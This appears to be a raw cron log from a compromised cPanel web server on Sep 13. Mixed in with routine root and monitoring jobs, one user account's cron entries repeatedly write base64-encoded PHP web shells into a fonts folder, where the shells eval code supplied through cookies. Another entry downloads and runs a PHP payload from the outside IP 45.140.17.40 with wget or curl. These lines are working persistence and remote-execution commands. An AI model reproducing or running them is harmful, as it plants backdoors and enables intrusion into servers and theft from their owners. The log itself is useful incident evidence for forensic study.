Sep 13 02:52:01 ip-184-168-122-23 CROND[2374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:53:01 ip-184-168-122-23 CROND[2532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:53:01 ip-184-168-122-23 CROND[2533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:53:01 ip-184-168-122-23 CROND[2534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:53:01 ip-184-168-122-23 CROND[2535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:54:01 ip-184-168-122-23 CROND[2619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:54:01 ip-184-168-122-23 CROND[2618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:54:01 ip-184-168-122-23 CROND[2621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:54:01 ip-184-168-122-23 CROND[2622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:54:01 ip-184-168-122-23 CROND[2620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:55:01 ip-184-168-122-23 CROND[2712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:55:01 ip-184-168-122-23 CROND[2715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:55:01 ip-184-168-122-23 CROND[2714]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 02:55:01 ip-184-168-122-23 CROND[2716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:55:01 ip-184-168-122-23 CROND[2717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:55:01 ip-184-168-122-23 CROND[2718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 02:56:01 ip-184-168-122-23 CROND[2803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:56:01 ip-184-168-122-23 CROND[2805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:56:01 ip-184-168-122-23 CROND[2807]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:56:01 ip-184-168-122-23 CROND[2808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:56:01 ip-184-168-122-23 CROND[2806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:57:01 ip-184-168-122-23 CROND[2902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:57:01 ip-184-168-122-23 CROND[2903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:57:01 ip-184-168-122-23 CROND[2905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:57:01 ip-184-168-122-23 CROND[2906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:58:01 ip-184-168-122-23 CROND[3064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:58:01 ip-184-168-122-23 CROND[3067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:58:01 ip-184-168-122-23 CROND[3068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:58:01 ip-184-168-122-23 CROND[3069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 02:58:01 ip-184-168-122-23 CROND[3066]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 02:59:01 ip-184-168-122-23 CROND[3159]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 02:59:01 ip-184-168-122-23 CROND[3162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 02:59:01 ip-184-168-122-23 CROND[3161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 02:59:01 ip-184-168-122-23 CROND[3163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:00:01 ip-184-168-122-23 CROND[3292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:00:01 ip-184-168-122-23 CROND[3291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:00:01 ip-184-168-122-23 CROND[3298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:00:01 ip-184-168-122-23 CROND[3301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:00:01 ip-184-168-122-23 CROND[3300]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:00:01 ip-184-168-122-23 CROND[3302]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 03:00:01 ip-184-168-122-23 CROND[3303]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 03:00:01 ip-184-168-122-23 CROND[3304]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 03:01:01 ip-184-168-122-23 CROND[3416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:01:01 ip-184-168-122-23 CROND[3419]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 13 03:01:01 ip-184-168-122-23 CROND[3418]: (root) CMD (run-parts /etc/cron.hourly)
Sep 13 03:01:01 ip-184-168-122-23 CROND[3424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:01:01 ip-184-168-122-23 CROND[3426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:01:01 ip-184-168-122-23 CROND[3425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3418]: starting 0anacron
Sep 13 03:01:01 ip-184-168-122-23 anacron[3439]: Anacron started on 2026-09-13
Sep 13 03:01:01 ip-184-168-122-23 anacron[3439]: Will run job `cron.daily' in 42 min.
Sep 13 03:01:01 ip-184-168-122-23 anacron[3439]: Jobs will be executed sequentially
Sep 13 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[3441]: finished 0anacron
Sep 13 03:02:01 ip-184-168-122-23 CROND[3556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:02:01 ip-184-168-122-23 CROND[3557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:02:01 ip-184-168-122-23 CROND[3561]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:02:01 ip-184-168-122-23 CROND[3560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 13 03:02:01 ip-184-168-122-23 CROND[3563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:03:01 ip-184-168-122-23 CROND[3771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:03:01 ip-184-168-122-23 CROND[3773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:03:01 ip-184-168-122-23 CROND[3774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 03:03:01 ip-184-168-122-23 CROND[3775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 03:04:01 ip-184-168-122-23 CROND[3879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 13 03:04:01 ip-184-168-122-23 CROND[3881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 13 03:04:01 ip-184-168-122-23 CROND[3880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
